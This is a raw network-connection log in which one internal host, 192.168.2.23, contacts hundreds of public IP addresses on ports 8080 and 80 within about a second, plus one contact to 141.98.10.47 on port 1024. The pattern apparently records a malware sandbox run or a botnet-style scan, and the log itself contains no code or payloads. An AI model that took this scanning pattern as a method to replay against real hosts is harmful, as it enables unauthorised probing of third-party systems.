Dec 26, 2023 21:22:43.111356974 CET	45469	8080	192.168.2.23	85.145.201.163
Dec 26, 2023 21:22:43.111370087 CET	45469	8080	192.168.2.23	95.219.104.163
Dec 26, 2023 21:22:43.111370087 CET	45469	8080	192.168.2.23	31.101.203.207
Dec 26, 2023 21:22:43.111376047 CET	45469	8080	192.168.2.23	62.182.25.174
Dec 26, 2023 21:22:43.111377001 CET	45469	8080	192.168.2.23	94.241.185.86
Dec 26, 2023 21:22:43.111380100 CET	45469	8080	192.168.2.23	85.206.86.51
Dec 26, 2023 21:22:43.111382961 CET	45469	8080	192.168.2.23	95.29.39.29
Dec 26, 2023 21:22:43.111385107 CET	45469	8080	192.168.2.23	85.65.44.5
Dec 26, 2023 21:22:43.111404896 CET	45469	8080	192.168.2.23	95.181.152.202
Dec 26, 2023 21:22:43.111407042 CET	45469	8080	192.168.2.23	62.236.167.115
Dec 26, 2023 21:22:43.111407042 CET	45469	8080	192.168.2.23	62.43.129.10
Dec 26, 2023 21:22:43.111407042 CET	45469	8080	192.168.2.23	95.249.128.80
Dec 26, 2023 21:22:43.111423016 CET	45469	8080	192.168.2.23	94.127.100.185
Dec 26, 2023 21:22:43.111428976 CET	45469	8080	192.168.2.23	31.237.121.190
Dec 26, 2023 21:22:43.111443043 CET	45469	8080	192.168.2.23	85.59.103.216
Dec 26, 2023 21:22:43.111445904 CET	45469	8080	192.168.2.23	62.159.45.134
Dec 26, 2023 21:22:43.111445904 CET	45469	8080	192.168.2.23	94.84.200.228
Dec 26, 2023 21:22:43.111449003 CET	45469	8080	192.168.2.23	62.95.7.242
Dec 26, 2023 21:22:43.111449957 CET	45469	8080	192.168.2.23	85.224.151.158
Dec 26, 2023 21:22:43.111459017 CET	45469	8080	192.168.2.23	62.21.177.193
Dec 26, 2023 21:22:43.111459017 CET	45469	8080	192.168.2.23	85.254.47.101
Dec 26, 2023 21:22:43.111465931 CET	45469	8080	192.168.2.23	85.49.38.61
Dec 26, 2023 21:22:43.111471891 CET	45469	8080	192.168.2.23	85.211.203.58
Dec 26, 2023 21:22:43.111486912 CET	45469	8080	192.168.2.23	94.71.214.131
Dec 26, 2023 21:22:43.111486912 CET	45469	8080	192.168.2.23	95.217.255.56
Dec 26, 2023 21:22:43.111493111 CET	45469	8080	192.168.2.23	62.23.109.10
Dec 26, 2023 21:22:43.111494064 CET	45469	8080	192.168.2.23	85.90.203.113
Dec 26, 2023 21:22:43.111495972 CET	45469	8080	192.168.2.23	95.17.73.12
Dec 26, 2023 21:22:43.111496925 CET	45469	8080	192.168.2.23	85.200.105.87
Dec 26, 2023 21:22:43.111500978 CET	45469	8080	192.168.2.23	95.49.155.200
Dec 26, 2023 21:22:43.111505032 CET	45469	8080	192.168.2.23	85.144.53.96
Dec 26, 2023 21:22:43.111515999 CET	45469	8080	192.168.2.23	31.7.222.134
Dec 26, 2023 21:22:43.111524105 CET	45469	8080	192.168.2.23	62.212.58.69
Dec 26, 2023 21:22:43.111524105 CET	45469	8080	192.168.2.23	31.185.121.56
Dec 26, 2023 21:22:43.111525059 CET	45469	8080	192.168.2.23	95.42.104.13
Dec 26, 2023 21:22:43.111532927 CET	45469	8080	192.168.2.23	31.151.19.254
Dec 26, 2023 21:22:43.111537933 CET	45469	8080	192.168.2.23	62.71.100.8
Dec 26, 2023 21:22:43.111542940 CET	45469	8080	192.168.2.23	31.16.197.228
Dec 26, 2023 21:22:43.111552000 CET	45469	8080	192.168.2.23	31.227.200.24
Dec 26, 2023 21:22:43.111560106 CET	45469	8080	192.168.2.23	62.230.200.29
Dec 26, 2023 21:22:43.111561060 CET	45469	8080	192.168.2.23	94.208.140.170
Dec 26, 2023 21:22:43.111562967 CET	45469	8080	192.168.2.23	94.154.186.2
Dec 26, 2023 21:22:43.111596107 CET	45469	8080	192.168.2.23	85.9.11.120
Dec 26, 2023 21:22:43.111596107 CET	45469	8080	192.168.2.23	94.109.196.60
Dec 26, 2023 21:22:43.111628056 CET	45469	8080	192.168.2.23	85.15.141.132
Dec 26, 2023 21:22:43.111633062 CET	45469	8080	192.168.2.23	94.249.59.226
Dec 26, 2023 21:22:43.111633062 CET	45469	8080	192.168.2.23	62.20.157.94
Dec 26, 2023 21:22:43.111634970 CET	45469	8080	192.168.2.23	95.24.19.99
Dec 26, 2023 21:22:43.111649036 CET	45469	8080	192.168.2.23	31.151.217.32
Dec 26, 2023 21:22:43.111660004 CET	45469	8080	192.168.2.23	85.237.70.0
Dec 26, 2023 21:22:43.111665964 CET	45469	8080	192.168.2.23	62.241.152.88
Dec 26, 2023 21:22:43.111671925 CET	45469	8080	192.168.2.23	62.3.44.204
Dec 26, 2023 21:22:43.111671925 CET	45469	8080	192.168.2.23	95.112.111.135
Dec 26, 2023 21:22:43.111671925 CET	45469	8080	192.168.2.23	95.89.106.170
Dec 26, 2023 21:22:43.111679077 CET	45469	8080	192.168.2.23	94.99.106.139
Dec 26, 2023 21:22:43.111679077 CET	45469	8080	192.168.2.23	62.106.85.82
Dec 26, 2023 21:22:43.111681938 CET	45469	8080	192.168.2.23	31.77.219.66
Dec 26, 2023 21:22:43.111692905 CET	45469	8080	192.168.2.23	94.0.166.70
Dec 26, 2023 21:22:43.111695051 CET	45469	8080	192.168.2.23	31.104.234.183
Dec 26, 2023 21:22:43.111700058 CET	45469	8080	192.168.2.23	85.190.249.7
Dec 26, 2023 21:22:43.111701012 CET	45469	8080	192.168.2.23	94.137.203.130
Dec 26, 2023 21:22:43.111702919 CET	45469	8080	192.168.2.23	62.120.120.38
Dec 26, 2023 21:22:43.111709118 CET	45469	8080	192.168.2.23	31.8.90.241
Dec 26, 2023 21:22:43.111717939 CET	45469	8080	192.168.2.23	31.115.212.11
Dec 26, 2023 21:22:43.111728907 CET	45469	8080	192.168.2.23	62.192.152.159
Dec 26, 2023 21:22:43.111728907 CET	45469	8080	192.168.2.23	31.167.49.140
Dec 26, 2023 21:22:43.111732960 CET	45469	8080	192.168.2.23	31.144.242.186
Dec 26, 2023 21:22:43.111738920 CET	45469	8080	192.168.2.23	85.233.118.94
Dec 26, 2023 21:22:43.111742973 CET	45469	8080	192.168.2.23	62.113.1.10
Dec 26, 2023 21:22:43.111752987 CET	45469	8080	192.168.2.23	62.132.231.105
Dec 26, 2023 21:22:43.111762047 CET	45469	8080	192.168.2.23	94.222.66.177
Dec 26, 2023 21:22:43.111766100 CET	45469	8080	192.168.2.23	31.170.253.197
Dec 26, 2023 21:22:43.111766100 CET	45469	8080	192.168.2.23	95.236.64.140
Dec 26, 2023 21:22:43.111777067 CET	45469	8080	192.168.2.23	85.43.221.141
Dec 26, 2023 21:22:43.111778975 CET	45469	8080	192.168.2.23	94.248.230.213
Dec 26, 2023 21:22:43.111787081 CET	45469	8080	192.168.2.23	31.36.72.134
Dec 26, 2023 21:22:43.111795902 CET	45469	8080	192.168.2.23	31.41.56.173
Dec 26, 2023 21:22:43.111804008 CET	45469	8080	192.168.2.23	62.231.74.129
Dec 26, 2023 21:22:43.111804962 CET	45469	8080	192.168.2.23	95.234.20.26
Dec 26, 2023 21:22:43.111814022 CET	45469	8080	192.168.2.23	31.242.210.91
Dec 26, 2023 21:22:43.111818075 CET	45469	8080	192.168.2.23	85.245.231.110
Dec 26, 2023 21:22:43.111824036 CET	45469	8080	192.168.2.23	85.128.135.76
Dec 26, 2023 21:22:43.111828089 CET	45469	8080	192.168.2.23	31.118.60.53
Dec 26, 2023 21:22:43.111831903 CET	45469	8080	192.168.2.23	31.169.209.155
Dec 26, 2023 21:22:43.111831903 CET	45469	8080	192.168.2.23	31.59.39.105
Dec 26, 2023 21:22:43.111831903 CET	45469	8080	192.168.2.23	62.237.245.38
Dec 26, 2023 21:22:43.111843109 CET	45469	8080	192.168.2.23	62.37.82.221
Dec 26, 2023 21:22:43.111852884 CET	45469	8080	192.168.2.23	95.6.114.170
Dec 26, 2023 21:22:43.111860991 CET	45469	8080	192.168.2.23	31.255.246.31
Dec 26, 2023 21:22:43.111861944 CET	45469	8080	192.168.2.23	94.248.247.118
Dec 26, 2023 21:22:43.111866951 CET	45469	8080	192.168.2.23	62.254.214.67
Dec 26, 2023 21:22:43.111872911 CET	45469	8080	192.168.2.23	94.245.247.180
Dec 26, 2023 21:22:43.111872911 CET	45469	8080	192.168.2.23	62.95.102.240
Dec 26, 2023 21:22:43.111885071 CET	45469	8080	192.168.2.23	94.153.63.43
Dec 26, 2023 21:22:43.111887932 CET	45469	8080	192.168.2.23	94.4.12.73
Dec 26, 2023 21:22:43.111901045 CET	45469	8080	192.168.2.23	94.61.111.84
Dec 26, 2023 21:22:43.111917973 CET	45469	8080	192.168.2.23	85.69.26.163
Dec 26, 2023 21:22:43.111918926 CET	45469	8080	192.168.2.23	95.93.195.155
Dec 26, 2023 21:22:43.111918926 CET	45469	8080	192.168.2.23	62.56.4.177
Dec 26, 2023 21:22:43.111923933 CET	45469	8080	192.168.2.23	62.13.201.251
Dec 26, 2023 21:22:43.111938953 CET	45469	8080	192.168.2.23	94.142.183.190
Dec 26, 2023 21:22:43.111938953 CET	45469	8080	192.168.2.23	94.239.44.7
Dec 26, 2023 21:22:43.111944914 CET	45469	8080	192.168.2.23	31.73.102.202
Dec 26, 2023 21:22:43.111944914 CET	45469	8080	192.168.2.23	95.68.6.236
Dec 26, 2023 21:22:43.111947060 CET	45469	8080	192.168.2.23	85.10.162.222
Dec 26, 2023 21:22:43.111951113 CET	45469	8080	192.168.2.23	94.54.61.140
Dec 26, 2023 21:22:43.111958981 CET	45469	8080	192.168.2.23	62.74.166.26
Dec 26, 2023 21:22:43.111963987 CET	45469	8080	192.168.2.23	94.245.134.80
Dec 26, 2023 21:22:43.111979008 CET	45469	8080	192.168.2.23	94.239.93.55
Dec 26, 2023 21:22:43.111984968 CET	45469	8080	192.168.2.23	95.161.197.87
Dec 26, 2023 21:22:43.111987114 CET	45469	8080	192.168.2.23	95.239.179.20
Dec 26, 2023 21:22:43.111993074 CET	45469	8080	192.168.2.23	31.101.219.14
Dec 26, 2023 21:22:43.111999035 CET	45469	8080	192.168.2.23	31.131.189.183
Dec 26, 2023 21:22:43.112003088 CET	45469	8080	192.168.2.23	95.228.144.177
Dec 26, 2023 21:22:43.112019062 CET	45469	8080	192.168.2.23	94.33.114.210
Dec 26, 2023 21:22:43.112020969 CET	45469	8080	192.168.2.23	62.243.165.92
Dec 26, 2023 21:22:43.112025023 CET	45469	8080	192.168.2.23	94.177.160.10
Dec 26, 2023 21:22:43.112031937 CET	45469	8080	192.168.2.23	95.104.14.9
Dec 26, 2023 21:22:43.112042904 CET	45469	8080	192.168.2.23	94.227.230.139
Dec 26, 2023 21:22:43.112042904 CET	45469	8080	192.168.2.23	94.193.186.161
Dec 26, 2023 21:22:43.112042904 CET	45469	8080	192.168.2.23	95.247.121.228
Dec 26, 2023 21:22:43.112044096 CET	45469	8080	192.168.2.23	94.238.137.126
Dec 26, 2023 21:22:43.112042904 CET	45469	8080	192.168.2.23	31.32.106.220
Dec 26, 2023 21:22:43.112060070 CET	45469	8080	192.168.2.23	95.91.154.243
Dec 26, 2023 21:22:43.112063885 CET	45469	8080	192.168.2.23	95.93.229.113
Dec 26, 2023 21:22:43.112065077 CET	45469	8080	192.168.2.23	31.106.12.238
Dec 26, 2023 21:22:43.112072945 CET	45469	8080	192.168.2.23	94.180.7.18
Dec 26, 2023 21:22:43.112081051 CET	45469	8080	192.168.2.23	31.57.71.24
Dec 26, 2023 21:22:43.112092972 CET	45469	8080	192.168.2.23	31.109.190.21
Dec 26, 2023 21:22:43.112092972 CET	45469	8080	192.168.2.23	31.92.192.227
Dec 26, 2023 21:22:43.112093925 CET	45469	8080	192.168.2.23	62.214.128.188
Dec 26, 2023 21:22:43.112102985 CET	45469	8080	192.168.2.23	85.37.137.222
Dec 26, 2023 21:22:43.112114906 CET	45469	8080	192.168.2.23	62.206.91.148
Dec 26, 2023 21:22:43.112114906 CET	45469	8080	192.168.2.23	85.44.82.180
Dec 26, 2023 21:22:43.112118006 CET	45469	8080	192.168.2.23	62.25.45.105
Dec 26, 2023 21:22:43.112124920 CET	45469	8080	192.168.2.23	94.121.88.132
Dec 26, 2023 21:22:43.112133980 CET	45469	8080	192.168.2.23	95.79.89.160
Dec 26, 2023 21:22:43.112135887 CET	45469	8080	192.168.2.23	85.147.195.243
Dec 26, 2023 21:22:43.112144947 CET	45469	8080	192.168.2.23	95.174.254.31
Dec 26, 2023 21:22:43.112158060 CET	45469	8080	192.168.2.23	95.145.1.76
Dec 26, 2023 21:22:43.112158060 CET	45469	8080	192.168.2.23	95.239.230.19
Dec 26, 2023 21:22:43.112162113 CET	45469	8080	192.168.2.23	94.72.252.91
Dec 26, 2023 21:22:43.112162113 CET	45469	8080	192.168.2.23	94.162.26.123
Dec 26, 2023 21:22:43.112162113 CET	45469	8080	192.168.2.23	85.35.39.52
Dec 26, 2023 21:22:43.112164974 CET	45469	8080	192.168.2.23	31.197.61.242
Dec 26, 2023 21:22:43.112169981 CET	45469	8080	192.168.2.23	62.184.50.51
Dec 26, 2023 21:22:43.112169981 CET	45469	8080	192.168.2.23	31.182.115.127
Dec 26, 2023 21:22:43.112169981 CET	45469	8080	192.168.2.23	62.211.131.209
Dec 26, 2023 21:22:43.112173080 CET	45469	8080	192.168.2.23	31.41.88.181
Dec 26, 2023 21:22:43.112194061 CET	45469	8080	192.168.2.23	31.201.41.166
Dec 26, 2023 21:22:43.112194061 CET	45469	8080	192.168.2.23	85.2.231.222
Dec 26, 2023 21:22:43.112200022 CET	45469	8080	192.168.2.23	31.243.160.198
Dec 26, 2023 21:22:43.112204075 CET	45469	8080	192.168.2.23	62.126.251.162
Dec 26, 2023 21:22:43.112209082 CET	45469	8080	192.168.2.23	31.56.101.8
Dec 26, 2023 21:22:43.112209082 CET	45469	8080	192.168.2.23	31.198.177.101
Dec 26, 2023 21:22:43.112221003 CET	45469	8080	192.168.2.23	62.76.17.91
Dec 26, 2023 21:22:43.112226963 CET	45469	8080	192.168.2.23	94.123.106.89
Dec 26, 2023 21:22:43.112236023 CET	45469	8080	192.168.2.23	95.101.104.127
Dec 26, 2023 21:22:43.112241030 CET	45469	8080	192.168.2.23	95.127.79.196
Dec 26, 2023 21:22:43.112255096 CET	45469	8080	192.168.2.23	85.118.190.42
Dec 26, 2023 21:22:43.112255096 CET	45469	8080	192.168.2.23	94.196.255.175
Dec 26, 2023 21:22:43.112255096 CET	45469	8080	192.168.2.23	62.192.74.249
Dec 26, 2023 21:22:43.112267017 CET	45469	8080	192.168.2.23	94.149.193.136
Dec 26, 2023 21:22:43.112271070 CET	45469	8080	192.168.2.23	62.158.152.165
Dec 26, 2023 21:22:43.112274885 CET	45469	8080	192.168.2.23	95.71.96.130
Dec 26, 2023 21:22:43.112281084 CET	45469	8080	192.168.2.23	85.49.26.33
Dec 26, 2023 21:22:43.112292051 CET	45469	8080	192.168.2.23	95.233.190.204
Dec 26, 2023 21:22:43.112293005 CET	45469	8080	192.168.2.23	95.6.173.245
Dec 26, 2023 21:22:43.112298965 CET	45469	8080	192.168.2.23	95.26.131.134
Dec 26, 2023 21:22:43.112304926 CET	45469	8080	192.168.2.23	31.61.163.60
Dec 26, 2023 21:22:43.112306118 CET	45469	8080	192.168.2.23	95.29.138.135
Dec 26, 2023 21:22:43.112319946 CET	45469	8080	192.168.2.23	94.21.67.64
Dec 26, 2023 21:22:43.112323999 CET	45469	8080	192.168.2.23	31.152.174.93
Dec 26, 2023 21:22:43.112335920 CET	45469	8080	192.168.2.23	94.81.51.131
Dec 26, 2023 21:22:43.112338066 CET	45469	8080	192.168.2.23	94.134.140.187
Dec 26, 2023 21:22:43.112339020 CET	45469	8080	192.168.2.23	85.246.123.90
Dec 26, 2023 21:22:43.112344980 CET	45469	8080	192.168.2.23	94.247.234.43
Dec 26, 2023 21:22:43.112345934 CET	45469	8080	192.168.2.23	31.191.111.189
Dec 26, 2023 21:22:43.112354994 CET	45469	8080	192.168.2.23	95.238.189.225
Dec 26, 2023 21:22:43.112360001 CET	45469	8080	192.168.2.23	31.87.252.20
Dec 26, 2023 21:22:43.112368107 CET	45469	8080	192.168.2.23	31.141.221.205
Dec 26, 2023 21:22:43.112376928 CET	45469	8080	192.168.2.23	31.38.226.170
Dec 26, 2023 21:22:43.112380981 CET	45469	8080	192.168.2.23	62.114.42.163
Dec 26, 2023 21:22:43.112386942 CET	45469	8080	192.168.2.23	95.252.120.212
Dec 26, 2023 21:22:43.112390041 CET	45469	8080	192.168.2.23	85.192.170.76
Dec 26, 2023 21:22:43.112390041 CET	45469	8080	192.168.2.23	85.174.121.180
Dec 26, 2023 21:22:43.112396002 CET	45469	8080	192.168.2.23	85.130.170.51
Dec 26, 2023 21:22:43.112405062 CET	45469	8080	192.168.2.23	62.239.105.123
Dec 26, 2023 21:22:43.112410069 CET	45469	8080	192.168.2.23	85.120.191.210
Dec 26, 2023 21:22:43.112421989 CET	45469	8080	192.168.2.23	94.196.204.11
Dec 26, 2023 21:22:43.112422943 CET	45469	8080	192.168.2.23	85.153.152.175
Dec 26, 2023 21:22:43.112426996 CET	45469	8080	192.168.2.23	31.34.174.133
Dec 26, 2023 21:22:43.112432003 CET	45469	8080	192.168.2.23	62.208.92.33
Dec 26, 2023 21:22:43.112432003 CET	45469	8080	192.168.2.23	31.204.43.241
Dec 26, 2023 21:22:43.112451077 CET	45469	8080	192.168.2.23	31.250.1.51
Dec 26, 2023 21:22:43.112452030 CET	45469	8080	192.168.2.23	62.255.157.221
Dec 26, 2023 21:22:43.112453938 CET	45469	8080	192.168.2.23	62.226.75.216
Dec 26, 2023 21:22:43.112454891 CET	45469	8080	192.168.2.23	94.135.37.143
Dec 26, 2023 21:22:43.112457991 CET	45469	8080	192.168.2.23	31.144.227.8
Dec 26, 2023 21:22:43.112458944 CET	45469	8080	192.168.2.23	31.211.232.76
Dec 26, 2023 21:22:43.112462044 CET	45469	8080	192.168.2.23	85.60.49.231
Dec 26, 2023 21:22:43.112464905 CET	45469	8080	192.168.2.23	31.26.6.148
Dec 26, 2023 21:22:43.112464905 CET	45469	8080	192.168.2.23	95.91.45.51
Dec 26, 2023 21:22:43.112467051 CET	45469	8080	192.168.2.23	31.63.46.243
Dec 26, 2023 21:22:43.112469912 CET	45469	8080	192.168.2.23	94.183.118.172
Dec 26, 2023 21:22:43.112467051 CET	45469	8080	192.168.2.23	85.79.74.178
Dec 26, 2023 21:22:43.112473011 CET	45469	8080	192.168.2.23	62.114.191.144
Dec 26, 2023 21:22:43.383707047 CET	8080	45469	94.196.204.11	192.168.2.23
Dec 26, 2023 21:22:43.394819975 CET	80	45725	112.137.44.221	192.168.2.23
Dec 26, 2023 21:22:43.424658060 CET	80	45725	112.160.245.227	192.168.2.23
Dec 26, 2023 21:22:43.432307005 CET	8080	45469	94.190.78.199	192.168.2.23
Dec 26, 2023 21:22:43.454591036 CET	8080	45469	95.224.99.214	192.168.2.23
Dec 26, 2023 21:22:43.642189026 CET	8080	45469	31.204.43.241	192.168.2.23
Dec 26, 2023 21:22:44.098666906 CET	45725	80	192.168.2.23	88.228.29.22
Dec 26, 2023 21:22:44.098666906 CET	45725	80	192.168.2.23	88.152.79.243
Dec 26, 2023 21:22:44.098666906 CET	45725	80	192.168.2.23	88.85.235.150
Dec 26, 2023 21:22:44.098668098 CET	45725	80	192.168.2.23	88.23.225.234
Dec 26, 2023 21:22:44.098666906 CET	45725	80	192.168.2.23	88.186.137.216
Dec 26, 2023 21:22:44.098674059 CET	45725	80	192.168.2.23	88.37.214.238
Dec 26, 2023 21:22:44.098673105 CET	45725	80	192.168.2.23	88.95.35.207
Dec 26, 2023 21:22:44.098674059 CET	45725	80	192.168.2.23	88.89.87.201
Dec 26, 2023 21:22:44.098674059 CET	45725	80	192.168.2.23	88.172.98.90
Dec 26, 2023 21:22:44.098673105 CET	45725	80	192.168.2.23	88.27.122.142
Dec 26, 2023 21:22:44.098674059 CET	45725	80	192.168.2.23	88.87.162.163
Dec 26, 2023 21:22:44.098674059 CET	45725	80	192.168.2.23	88.159.38.63
Dec 26, 2023 21:22:44.098673105 CET	45725	80	192.168.2.23	88.49.15.100
Dec 26, 2023 21:22:44.098673105 CET	45725	80	192.168.2.23	88.229.176.223
Dec 26, 2023 21:22:44.098680973 CET	45725	80	192.168.2.23	88.202.68.49
Dec 26, 2023 21:22:44.098695993 CET	45725	80	192.168.2.23	88.45.124.74
Dec 26, 2023 21:22:44.098695993 CET	45725	80	192.168.2.23	88.156.21.147
Dec 26, 2023 21:22:44.098707914 CET	45725	80	192.168.2.23	88.174.187.237
Dec 26, 2023 21:22:44.098707914 CET	45725	80	192.168.2.23	88.32.205.7
Dec 26, 2023 21:22:44.098709106 CET	45725	80	192.168.2.23	88.207.253.15
Dec 26, 2023 21:22:44.098709106 CET	45725	80	192.168.2.23	88.137.121.195
Dec 26, 2023 21:22:44.098709106 CET	45725	80	192.168.2.23	88.137.86.240
Dec 26, 2023 21:22:44.098709106 CET	45725	80	192.168.2.23	88.62.150.95
Dec 26, 2023 21:22:44.098709106 CET	45725	80	192.168.2.23	88.123.177.166
Dec 26, 2023 21:22:44.098709106 CET	45725	80	192.168.2.23	88.55.237.129
Dec 26, 2023 21:22:44.098720074 CET	45725	80	192.168.2.23	88.201.185.105
Dec 26, 2023 21:22:44.098721027 CET	45725	80	192.168.2.23	88.141.116.163
Dec 26, 2023 21:22:44.098721027 CET	45725	80	192.168.2.23	88.85.38.5
Dec 26, 2023 21:22:44.098721027 CET	45725	80	192.168.2.23	88.47.173.209
Dec 26, 2023 21:22:44.098721027 CET	45725	80	192.168.2.23	88.160.244.184
Dec 26, 2023 21:22:44.098725080 CET	56028	1024	192.168.2.23	141.98.10.47
Dec 26, 2023 21:22:44.098726034 CET	45725	80	192.168.2.23	88.145.156.224
Dec 26, 2023 21:22:44.098725080 CET	45725	80	192.168.2.23	88.55.54.93
Dec 26, 2023 21:22:44.098726034 CET	45725	80	192.168.2.23	88.229.4.45
Dec 26, 2023 21:22:44.098725080 CET	45725	80	192.168.2.23	88.26.15.61
Dec 26, 2023 21:22:44.098726034 CET	45725	80	192.168.2.23	88.195.53.220
Dec 26, 2023 21:22:44.098725080 CET	45725	80	192.168.2.23	88.39.135.140
Dec 26, 2023 21:22:44.098726034 CET	45725	80	192.168.2.23	88.56.129.229
Dec 26, 2023 21:22:44.098725080 CET	45725	80	192.168.2.23	88.201.207.255
Dec 26, 2023 21:22:44.098726034 CET	45725	80	192.168.2.23	88.118.203.232
Dec 26, 2023 21:22:44.098731995 CET	45725	80	192.168.2.23	88.109.216.17
Dec 26, 2023 21:22:44.098726034 CET	45725	80	192.168.2.23	88.14.137.58
Dec 26, 2023 21:22:44.098731995 CET	45725	80	192.168.2.23	88.52.204.248
Dec 26, 2023 21:22:44.098725080 CET	45725	80	192.168.2.23	88.211.1.74
Dec 26, 2023 21:22:44.098725080 CET	45725	80	192.168.2.23	88.179.157.27
Dec 26, 2023 21:22:44.098731995 CET	45725	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:44.098725080 CET	45725	80	192.168.2.23	88.62.237.117
Dec 26, 2023 21:22:44.098731995 CET	45725	80	192.168.2.23	88.190.187.108
Dec 26, 2023 21:22:44.098725080 CET	45725	80	192.168.2.23	88.58.42.243
Dec 26, 2023 21:22:44.098725080 CET	45725	80	192.168.2.23	88.218.184.29
Dec 26, 2023 21:22:44.098731995 CET	45725	80	192.168.2.23	88.78.180.131
Dec 26, 2023 21:22:44.098725080 CET	45725	80	192.168.2.23	88.145.95.67
Dec 26, 2023 21:22:44.098741055 CET	45725	80	192.168.2.23	88.87.1.24
Dec 26, 2023 21:22:44.098725080 CET	45725	80	192.168.2.23	88.212.33.250
Dec 26, 2023 21:22:44.098725080 CET	45725	80	192.168.2.23	88.2.80.41
Dec 26, 2023 21:22:44.098725080 CET	45725	80	192.168.2.23	88.125.110.50
Dec 26, 2023 21:22:44.098726034 CET	45725	80	192.168.2.23	88.103.219.87
Dec 26, 2023 21:22:44.098751068 CET	45725	80	192.168.2.23	88.38.165.222
Dec 26, 2023 21:22:44.098751068 CET	45725	80	192.168.2.23	88.237.74.51
Dec 26, 2023 21:22:44.098774910 CET	45725	80	192.168.2.23	88.217.140.68
Dec 26, 2023 21:22:44.098779917 CET	45725	80	192.168.2.23	88.68.92.158
Dec 26, 2023 21:22:44.098779917 CET	45725	80	192.168.2.23	88.168.78.8
Dec 26, 2023 21:22:44.098783970 CET	45725	80	192.168.2.23	88.94.7.9
Dec 26, 2023 21:22:44.098786116 CET	45725	80	192.168.2.23	88.208.31.219
Dec 26, 2023 21:22:44.098789930 CET	45725	80	192.168.2.23	88.95.128.232
Dec 26, 2023 21:22:44.098798990 CET	45725	80	192.168.2.23	88.254.53.200
Dec 26, 2023 21:22:44.098810911 CET	45725	80	192.168.2.23	88.133.178.28
Dec 26, 2023 21:22:44.098818064 CET	45725	80	192.168.2.23	88.238.35.251
Dec 26, 2023 21:22:44.098818064 CET	45725	80	192.168.2.23	88.119.115.75
Dec 26, 2023 21:22:44.098829985 CET	45725	80	192.168.2.23	88.7.98.252
Dec 26, 2023 21:22:44.098829985 CET	45725	80	192.168.2.23	88.140.232.149
Dec 26, 2023 21:22:44.098830938 CET	45725	80	192.168.2.23	88.47.186.128
Dec 26, 2023 21:22:44.098845959 CET	45725	80	192.168.2.23	88.91.221.175
Dec 26, 2023 21:22:44.098849058 CET	45725	80	192.168.2.23	88.225.43.226
Dec 26, 2023 21:22:44.098850012 CET	45725	80	192.168.2.23	88.27.49.226
Dec 26, 2023 21:22:44.098855019 CET	45725	80	192.168.2.23	88.145.108.34
Dec 26, 2023 21:22:44.098865032 CET	45725	80	192.168.2.23	88.65.62.69
Dec 26, 2023 21:22:44.098872900 CET	45725	80	192.168.2.23	88.194.80.37
Dec 26, 2023 21:22:44.098880053 CET	45725	80	192.168.2.23	88.218.234.109
Dec 26, 2023 21:22:44.098893881 CET	45725	80	192.168.2.23	88.171.210.59
Dec 26, 2023 21:22:44.098901987 CET	45725	80	192.168.2.23	88.113.207.160
Dec 26, 2023 21:22:44.098906994 CET	45725	80	192.168.2.23	88.162.157.18
Dec 26, 2023 21:22:44.098908901 CET	45725	80	192.168.2.23	88.227.245.13
Dec 26, 2023 21:22:44.098918915 CET	45725	80	192.168.2.23	88.139.111.167
Dec 26, 2023 21:22:44.098925114 CET	45725	80	192.168.2.23	88.255.149.204
Dec 26, 2023 21:22:44.098929882 CET	45725	80	192.168.2.23	88.132.172.180
Dec 26, 2023 21:22:44.098942995 CET	45725	80	192.168.2.23	88.131.128.149
Dec 26, 2023 21:22:44.098944902 CET	45725	80	192.168.2.23	88.3.97.49
Dec 26, 2023 21:22:44.098949909 CET	45725	80	192.168.2.23	88.93.9.143
Dec 26, 2023 21:22:44.098958969 CET	45725	80	192.168.2.23	88.196.207.102
Dec 26, 2023 21:22:44.098965883 CET	45725	80	192.168.2.23	88.205.54.117
Dec 26, 2023 21:22:44.098965883 CET	45725	80	192.168.2.23	88.97.235.75
Dec 26, 2023 21:22:44.098978043 CET	45725	80	192.168.2.23	88.87.133.69
Dec 26, 2023 21:22:44.098985910 CET	45725	80	192.168.2.23	88.139.30.205
Dec 26, 2023 21:22:44.098985910 CET	45725	80	192.168.2.23	88.74.249.95
Dec 26, 2023 21:22:44.099001884 CET	45725	80	192.168.2.23	88.90.50.103
Dec 26, 2023 21:22:44.099009037 CET	45725	80	192.168.2.23	88.120.185.185
Dec 26, 2023 21:22:44.099019051 CET	45725	80	192.168.2.23	88.69.246.245
Dec 26, 2023 21:22:44.099019051 CET	45725	80	192.168.2.23	88.234.64.2
Dec 26, 2023 21:22:44.099023104 CET	45725	80	192.168.2.23	88.120.7.92
Dec 26, 2023 21:22:44.099023104 CET	45725	80	192.168.2.23	88.93.173.60
Dec 26, 2023 21:22:44.099033117 CET	45725	80	192.168.2.23	88.196.244.196
Dec 26, 2023 21:22:44.099049091 CET	45725	80	192.168.2.23	88.249.133.96
Dec 26, 2023 21:22:44.099049091 CET	45725	80	192.168.2.23	88.204.242.148
Dec 26, 2023 21:22:44.099066973 CET	45725	80	192.168.2.23	88.176.212.240
Dec 26, 2023 21:22:44.099067926 CET	45725	80	192.168.2.23	88.219.123.127
Dec 26, 2023 21:22:44.099082947 CET	45725	80	192.168.2.23	88.148.94.187
Dec 26, 2023 21:22:44.099086046 CET	45725	80	192.168.2.23	88.200.9.57
Dec 26, 2023 21:22:44.099088907 CET	45725	80	192.168.2.23	88.238.190.155
Dec 26, 2023 21:22:44.099106073 CET	45725	80	192.168.2.23	88.36.16.28
Dec 26, 2023 21:22:44.099107027 CET	45725	80	192.168.2.23	88.198.37.198
Dec 26, 2023 21:22:44.099114895 CET	45725	80	192.168.2.23	88.155.79.1
Dec 26, 2023 21:22:44.099117041 CET	45725	80	192.168.2.23	88.93.61.98
Dec 26, 2023 21:22:44.099126101 CET	45725	80	192.168.2.23	88.208.73.248
Dec 26, 2023 21:22:44.099127054 CET	45725	80	192.168.2.23	88.8.5.237
Dec 26, 2023 21:22:44.099134922 CET	45725	80	192.168.2.23	88.39.206.173
Dec 26, 2023 21:22:44.099143982 CET	45725	80	192.168.2.23	88.2.125.136
Dec 26, 2023 21:22:44.099159956 CET	45725	80	192.168.2.23	88.214.51.118
Dec 26, 2023 21:22:44.099163055 CET	45725	80	192.168.2.23	88.96.189.176
Dec 26, 2023 21:22:44.099163055 CET	45725	80	192.168.2.23	88.17.117.144
Dec 26, 2023 21:22:44.099179983 CET	45725	80	192.168.2.23	88.209.149.238
Dec 26, 2023 21:22:44.099184990 CET	45725	80	192.168.2.23	88.3.245.43
Dec 26, 2023 21:22:44.099188089 CET	45725	80	192.168.2.23	88.15.160.76
